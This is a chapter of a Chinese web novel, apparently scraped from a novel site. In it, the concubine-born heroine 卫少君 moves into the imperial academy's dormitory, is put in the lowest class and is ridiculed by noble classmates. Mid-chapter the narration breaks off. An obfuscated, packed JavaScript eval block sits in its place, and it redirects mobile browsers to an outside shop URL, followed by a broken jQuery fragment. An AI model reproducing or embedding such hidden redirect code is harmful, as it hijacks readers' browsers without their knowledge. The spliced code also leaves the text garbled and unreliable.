文趣网 > 都市小说 > 我真不想当王后 > 16. 祁煊
    太学坐落都城城南,外围用丈高的夯土高墙合围住整片学域,正门南向,设两重大门,时刻有吏卒值守,晨昏时分开启闭合。

    卫少君亦步亦趋地跟在卫元君身后,脑袋四处转动打量太学,乌黑透亮的眼珠子滴溜转,一边闲不住地问:“二姊,你知道女学的学舍是如何分配的吗?”

    卫元君目不斜视地回答,腰间佩戴的压衣玉珏都不曾乱半分,“二人一宿,随机分配。”

    方才卫敦已为她们姐妹二人办理好入学手续,因他是太学新任仆射,需要处理的公务很多,便让一名官吏带着姐妹二人来学舍办理入住。

    卫少君脸微微垮起,嘴角往下抿,居然不是单间,这些养尊处优的贵族子弟居然也能接受?

    她倒是不介意合宿,只是这里不是现代那种人人平等的社会制度,若是和什么侯府嫡女、皇族翁主分配在一起,岂不是日日都要被人当成婢女使唤。

    卫元君见卫少君脸色不对,便道:“要不我去同父亲说说,将你我二人分配到一处,也好有个照应。”

    卫少君想起卫敦那张一直板着的脸和絮叨起来没完的嘴,打了个激灵,摇头,“算了,既来之则安之吧。”

    到达学舍后卫少君才知道自己的担心纯属多余,在这个阶级分明的时代,她一介庶女根本不配和那些王侯贵女住在一起。

    一排排规整青砖屋连绵成片,东西各六列,按甲乙丙丁戊己排列,每列十二间房,中间用一堵高墙将男女学舍分开。

    学舍大堂内挂着的一张尺长的素绢帛,上头写着分配好的学舍房间和人名。卫少君的名字和张令容排在一起,住在丙舍第十二间,最远最偏的地方。

    卫少君和张令容是此次入学女学生中唯二的两个庶女,自然而然被分配在一起。因两府主君官职相近,卫元君和张令德也被分在一起,就住在卫少君隔壁。

    卫少君很满意这个分配,四个人在一起互相还能有个照应。

    陈媪和王媪奉温夫人命令来替两位女公子收拾学舍,卫少君走进分配好的学舍,张令容已经入住进来,并且收拾好了行李。

    见卫少君抵达学舍,张令容很是欣喜,心中不安的情绪瞬间消散,拉着卫少君的手臂开心地说个不停。

    卫少君一面听着,一面打量这间学舍,房间不大却五脏俱全,还有独立的洗浴房,屋内所有家具皆是两份,一东一西泾渭分明,装潢并不奢靡。

    王媪帮卫少君整理好铺盖,遮遮掩掩的拿出一个香囊递给卫少君:“女公子,这是姜姬让奴给你的。”

    卫少君伸手捏了捏,里面放着成串的五铢钱,满满当当一包。她把香囊塞回去,伸手拍拍自己的腰间,豪气道:“我上次生辰收了好些银钱,不需要这个。”

    王媪难得没有板着脸,目光慈爱地望着卫少君,笑道:“女公子还是收下吧,姜姬的性子你又不是不知道,若不收,她还不定想些什么呢。”

    卫少君略一思忖,觉得王媪说的很有道理,依照姜氏的性子,若不收下这银钱,她指不定会在脑海里脑补自己在学舍过得多艰难苦楚。

    收拾好东西后,陈媪和王媪便离开了学舍,太学不许学生留婢女仆从在身边伺候,但一些擦洗清扫和浣衣的活计自然不能指望这些养尊处优的女公子动手,太后便从宫中拨了数十位宫婢下来,专门做这些粗活计。

    不多时,所有入女学的学生全部入住学舍,原本安静的长廊上四处都是叽叽喳喳的闲语声。

    卫少君躺在床榻内,将四周的帷幔放下遮挡视线,墙角的梨花木几上放着一盏小巧的陶灯,将这昏暗的帐内照亮。

    无人能看见她在做什么,她自然也无需再端着淑女做派,将从家里带来的软枕堆在床头,舒舒服服地倚在上面,翘着二郎腿翻看竹简。

    身侧的床榻上垫着一张宽大素白的四方缎布,里头装着她从家里带来的小食和糕点,还有一壶在冰鉴里储存过的甜浆饮子。

    学舍也有冰鉴,此刻屋内凉爽阴凉,和现代的空调房没有任何区别。

    张令容艳羡地靠在门口,双眼直愣愣的望着最前方那间宿舍,听着里头女孩们雀跃清脆的笑声,落寞地垂下头。

    她也想过去同她们亲亲热热的玩在一起,可那些贵女只喊了隔壁的长姊和卫家姊姊,并没有来唤她和少君姊姊过去玩乐。

    张令容看了会儿,丧气地垂着脑袋回到自己的床榻边,双手撑在床沿,脚尖有一搭没一搭地轻点地面。

    “少君姊姊,你说她们为何不喊我们去玩乐,是不是我们做错了什么?”

    卫少君眼睛并未离开竹简,塞了块糕点在嘴里,漫不经心地回:“我们什么都没做错,只是在她们眼里,我们两人是庶女出身,不配和她们玩在一起。”

    “可是学院里不是说没有身份地位之分,不分高低贵贱吗?”张令容万分不解,连声音都有些低闷。

    “嘴上说说而已。”卫少君放下竹简,撩开帷幔喝了口浆饮润润嗓,声音带着几分嘲弄,“越是拜高踩底阶级分明的地方,就会强调什么不分高低贵贱人人平等。”

    见张令容苦着脸,眉眼耷拉,卫少君难得生出了怜弱之心,她拉开帷幔,招呼张令容过来跟她一起吃东西。

    卫少君拿起糕点凑到令容嘴边,笑盈盈的喂她,“她们不跟我们玩就不玩呗,我们来这里是学东西的,不是来玩乐的,你只需要记住这点就行。”

    张令容懵懂地点点头,眼底藏不住满满的崇拜,“少君姊姊,你真的好厉害,好像不管在哪里,在什么境地下,你都不会害怕。”

    卫少君瞥了她一眼,问:“你想变成像我这样吗?”

    “想。“张令容忙不迭地点点头。

    卫少君说得轻描淡写,仿若闲话家常:“倘若你自幼活在满是苛责偏见、处处充斥恶意的环境里,自然也会淬炼出一副无所畏惧、坚韧不拔的心性。”

    张令容愣了楞,嘴唇嚅嗫两下,什么话都说不出来。张家人口简单,即便她是庶女出身张夫人也不曾苛待她什么,只是她自己胆小如鼠,心性怯懦。

    见张令容一副被吓到的样子,卫少君莞尔一笑,唇角轻快扬起:“我骗你的,我这副本领是天生的,旁人很难学会。”

    张令容舒出一口气,悬着的心稍稍落地。她还以为,少君姊姊以往在家里过得就是这样的日子呢。

    卫少君拿起洗漱用具往浴房走,声音听起来有些含糊,“早些休息吧,明日就开始上课了。”

    ——

    东方破晓,旭日初升,响亮的铜角声在学舍外响起,忽高忽低极有韵律。

    卫少君被吵得烦不胜烦,蒙头翻了个身,身上寝衣凌乱,下摆卷在肚子上,露出一截白皙的腰肢。

    张令容迷迷糊糊的睁开眼,见地上的铜漏已到辰时,一个激灵坐起身,伸手去拉隔壁的帷帐,急切道:“少君姊姊,已经晨时,要起床了。”

    卫少君郁闷的睁开眼,掀开被子在床榻上翻了两下,闷闷道:“知道了,马上起。”

    昨日办理入学时领了四套学生服,布料为透气的细葛棉麻,衣身呈绀青色,款式简洁大方,仅在领口、袖摆、下摆处镶绣绢边,配以二寸宽的素绢大带,穿在身上显得极为朝气。

    卫少君在铜镜前倒腾半天才梳出来一个像模像样的双环发髻,张令容已经收拾好,抱着书袋坐在榻上,安静地等着她。

    卫少君往发髻上插上一支小巧玲珑的素银簪,捋捋额前的碎发,伸手钩住自己的书袋,牵着张令容往外走。

    门外,卫元君和张令德已等候多时,见两人匆匆忙忙的出来,卫元君不由地问:“看你们起得挺早的,怎么现在才收拾好?”

    卫少君捋着微乱的头发,一双眼弯成两道月牙,笑盈盈的像只小狐狸,“头发不太听话,下次不会了,我们快去用朝食吧。”

    膳堂依旧是分成男女席位互不干涉,门口的长案上整齐的摆着各类漆碗漆勺,从粟米羹汤到米糕甜浆应有尽有。

    学生只需用饭,其他一应事物都有太学的小吏和仆从收拾,卫少君也是体验了把上贵族学校的待遇。

    此次入学的女学生年纪约莫都在十二岁到十四岁,学识差别甚大,不能单用年龄来分班。负责教学的几位博士商量后便打算举行小考摸底,用来分班。

    女学的学生比男学将近少一半,只有甲乙丙丁四个班级,每个班二十人。

    卫少君和张令容毫不意外地被分到了丁字班,座位也在教室的最后面。

    张令容收拾好自己的书案,回头望着卫少君郁郁寡欢的脸色,关心地问:“少君姊姊,你不舒服吗?”

    卫少君趴在书案上有气无力地摆摆手,她只是一时半会不能接受自己成为学渣班的吊车尾而已。

    读过书的女子不多,学问高深的女子更是少见,太学短时间内只找来了三位女夫子来教女学生们辞赋文章和历法算术,以及礼乐。

    五经和史记则是由年迈的男夫子来教授,他们各个一把白须,满嘴之乎者也,讲课死板,言语之间甚至带着对女子的刻板轻视,叫人提不起半点兴趣。

    连续几节枯燥无味的经史课后,原本还兴致冲冲的女学生们瞬间跟霜打了茄子一样。

    卫少君倒还好,她对这些经史还挺感兴趣,但

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17741168|208085||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    这群迂腐刻板的老夫子比卫敦还要封建,全程闭着眼睛摇头晃脑的念书,遇到比较晦涩的地方更是直接忽略过,叫人听得云里雾里。

    这和教授历法算术的那些女夫子差远了,最最重要的是,这群老夫子留的作业非常多,除了要把今日教授的三篇文章倒背如流外,还得写一篇短札出来,试述“仁者爱人”之义,要求明日就得交。

    如交不出,不仅要挨板子,还要去外头罚站。这可让女学生们炸开了锅,对于她们来说,板子倒是其次,若是去外头罚站被来往的夫子和隔壁的男学生看见了,那可就丢大脸了。

    卫少君非常怀疑这群老夫子是故意的,在这群迂腐的老夫子心里,女子是不配有资格读书的。他们不能阻止女学的开办,便想从学生们身上下手,想用艰难的课业来让这些女学生知难而退。

    课休时间,丁字班的女学生们全部凑在一起闲聊玩乐,她们在家中时经常参加各家宴席,基本都认识,乍见卫少君和张令容两个生面孔,不由得凑上前来好奇道:“二位妹妹是哪家的女公子,怎么以前不曾见过?”

    张令容怕极了这种被人注视的场合,躲在卫少君身边磕磕绊绊说不出话。

    一方脸女孩见状扬起下巴,鄙夷道:“看你这畏畏缩缩上不得台面的样子,你们就是那两个走运入学的庶女吧。”

    其他人议论出声,“庶女怎么能入学?”

    “你竟然不知,陛下给了太学仆射家额外的名额,这两家的庶女便入学了。”

    见卫少君和张令容久久不搭话,那方脸女孩又道:“你们莫不是两个哑巴,不会说话?”

    “不能啊,哑巴怎么来上学呀。”女学生们顿时笑作一团。

    一群人当着卫少君和张令容的面毫不避讳,指指点点,言语中的讥讽和鄙夷恨不得溢出来。

    张令容已经被她们说得面红耳赤,泪花在眼底打转,头恨不得埋在地底。

    卫少君鼓鼓腮帮子,把温夫人和卫元君叮嘱她不能肆意妄为的话在脑海里回忆几遍,才忍住脱口而出的回怼。

    她深吸一口气,将头垂下,一副委屈模样,声音小得几乎不可闻:“各位姊姊,我们……我们……我们……”

    众女等着她的下一句,不曾想她这句一直卡在我们、我们,半晌说不出别的来,让人不由得心里发堵。

    那方脸女孩是个急性子,大声嚷道:“原来你不是哑巴,是个结巴!我们什么我们,你倒是说啊!”

    此言一出,女孩们又是轰然哄笑,挤在一块儿交头接耳,满眼嘲弄。

    有人看不下去,打着圆场,“算了算了,咱们不跟她们玩就是了。”

    “那是城阳王殿下吗?”一道惊呼声传来,瞬间吸引众人注意力。

    众女再没心思找卫少君和张令容的麻烦,一股脑地挤到直棂处,脸颊微红,少女怀春般望着长桥上经过的少年身影。

    卫少君一秒收了表情,拿出帕子给张令容擦泪,”别哭了,擦擦吧。”

    张令容泪眼朦胧的抬头:“少君姊姊,我是不是很没用?”

    “嗯,很没用。”

    张令容一哽。

    卫少君望着她,“你哭有什么用,难道你哭了,她们就不会再欺负你了吗?有的人,你越哭,她就越来劲,越想欺负你。”

    “我下次一定忍住不哭。”张令容将眼眶揉得红红的,像一只被欺负惨了的小兔子。

    卫少君无声地叹了口气,对她实在生不起气来,伸手揉揉她的脑袋,万分无奈,“你喜欢哭就哭吧,反正有我在,也不会让你受太多欺负。走吧,我们也去瞧瞧,那位城阳王殿下何许人也。”

    她牵着张令容往窗户走。长桥上走过一群嬉笑打闹的少年人,岸边杨柳轻垂在湖面,微风拂过,柳条轻轻晃动,遮掩得那群人面容有些模糊。

    “快看,中间那位就是城阳王殿下,如此英姿,当真是凤子龙孙,龙章凤姿。”

    卫少君顺着她们的目光看过去,暗地点评。唔,果然貌甚美,瞧着还有些眼熟,竟是昨日遇见的那个劲衣少年。

    她拉拉张令容的衣袖,小声问:“这人是什么身份,皇子?”

    张令容小幅度地摇摇头,“城阳王殿下本名祁煊,他并非皇子,他是当今陛下胞弟济川王的儿子。”

    那少年生得极其俊美,眉眼昳丽耀眼,明明穿着和旁人一模一样的学子服,偏偏身姿气度截然不同,惹人关注。他坦然受着众人的围捧,漫不经心随口应答,一身矜贵之气藏不住的外溢。

    卫少君无趣地撇撇嘴,她喜欢温和有礼的清隽少年,最讨厌张扬肆意,不可一世的人。